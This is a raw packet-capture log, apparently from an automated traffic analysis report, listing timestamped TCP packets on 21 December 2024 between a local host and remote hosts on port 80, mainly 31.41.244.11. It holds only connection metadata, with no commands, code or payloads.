                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.426822901 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.426851034 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.426877975 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.427006960 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.427059889 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.427126884 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.427191973 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.428162098 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.428313017 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.428350925 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.428402901 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.429373026 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.429428101 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.429440975 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.429490089 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.430500984 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.430555105 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.430608034 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.431767941 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.431802034 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.431818008 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.431849957 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.432905912 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.432976961 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.433043003 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.433105946 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.434031010 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.434149981 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.434204102 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.435173988 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.435208082 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.435225010 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.435257912 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.436321020 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.436373949 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.436425924 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.436470985 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.437417984 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.437472105 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.437521935 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.437572002 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.438517094 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.438571930 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.438683987 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.438777924 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.439735889 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.439799070 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.439832926 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.439878941 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.440818071 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.440871000 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.440887928 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.440933943 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.442033052 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.442082882 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.442116022 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.442315102 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.443113089 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.443165064 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.443224907 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.443274975 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.444257975 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.444369078 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.444428921 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.444489002 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.445417881 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.445467949 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.445585012 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.445633888 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.446568012 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.446615934 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.446757078 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.446810961 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.447716951 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.447768927 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.447843075 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.448005915 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.448859930 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.448968887 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.449018002 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.450009108 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.450043917 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.450097084 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.451242924 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.451278925 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.451329947 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.452397108 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.452436924 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.452459097 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.452490091 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.453473091 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.453526974 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.453576088 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.453625917 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.454647064 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.454704046 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.454751015 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.454803944 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.455833912 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.455868959 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.455890894 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.455908060 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.457197905 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.457253933 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.457305908 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.457350969 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.458230972 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.458285093 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.458348989 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.459268093 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.459331989 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.459394932 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.459436893 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.460365057 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.460419893 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.460521936 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.460568905 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.461529016 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.461585999 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.461631060 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.461801052 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.462668896 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.462723017 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.462784052 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.462831974 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.463820934 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.463869095 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.463874102 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.463922024 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.464956999 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.465013981 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.465060949 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.466110945 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.466228962 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.466274977 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.466381073 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.467308044 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.467377901 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.467381001 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.467433929 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.468384027 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.468441963 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.468568087 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.468700886 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.469662905 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.469697952 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.469748020 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.470712900 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.470774889 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.470830917 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.471889019 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.471939087 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.472006083 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.472053051 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.473073006 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.473119020 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.473191023 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.473254919 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.474230051 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.474366903 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.474455118 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.474503040 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.475246906 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.475301981 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.475344896 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.475385904 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.476382017 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.476434946 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.476500034 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.476542950 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.477607965 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.477780104 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.477782965 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.477829933 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.478833914 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.478910923 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.478950024 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.479192019 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.479962111 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.480015039 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.480118990 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.480160952 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.481107950 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.481159925 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.481308937 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.481350899 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.482215881 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.482275963 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.482315063 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.482353926 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.483274937 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.483398914 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.578454018 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.578504086 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.578732967 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.578862906 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.579061031 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.579103947 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.579170942 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.579216003 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.580297947 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.580313921 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.580358982 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.581355095 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.581641912 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.611747980 CET8049868212.193.31.8192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.611955881 CET4986880192.168.2.4212.193.31.8
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.619302034 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.619355917 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.619360924 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.619396925 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.619846106 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.619895935 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.619899988 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.619936943 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.620925903 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.620992899 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.621058941 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.621104002 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.622051001 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.622101068 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.622128963 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.622173071 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.623213053 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.623238087 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.623264074 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.623295069 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.624391079 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.624522924 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.624571085 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.626422882 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.626471043 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.626672029 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.626728058 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.626743078 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.626768112 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.626780987 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.627796888 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.627986908 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.628037930 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.628936052 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.628982067 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.629194975 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.629250050 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.630145073 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.630256891 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.630311966 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.631376028 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.631423950 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.631546021 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.631594896 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.632400990 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.632450104 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.632474899 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.632519960 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.633600950 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.633652925 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.633662939 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.633702993 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.634692907 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.634735107 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.634824991 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.634915113 CET4985080192.168.2.431.41.244.11
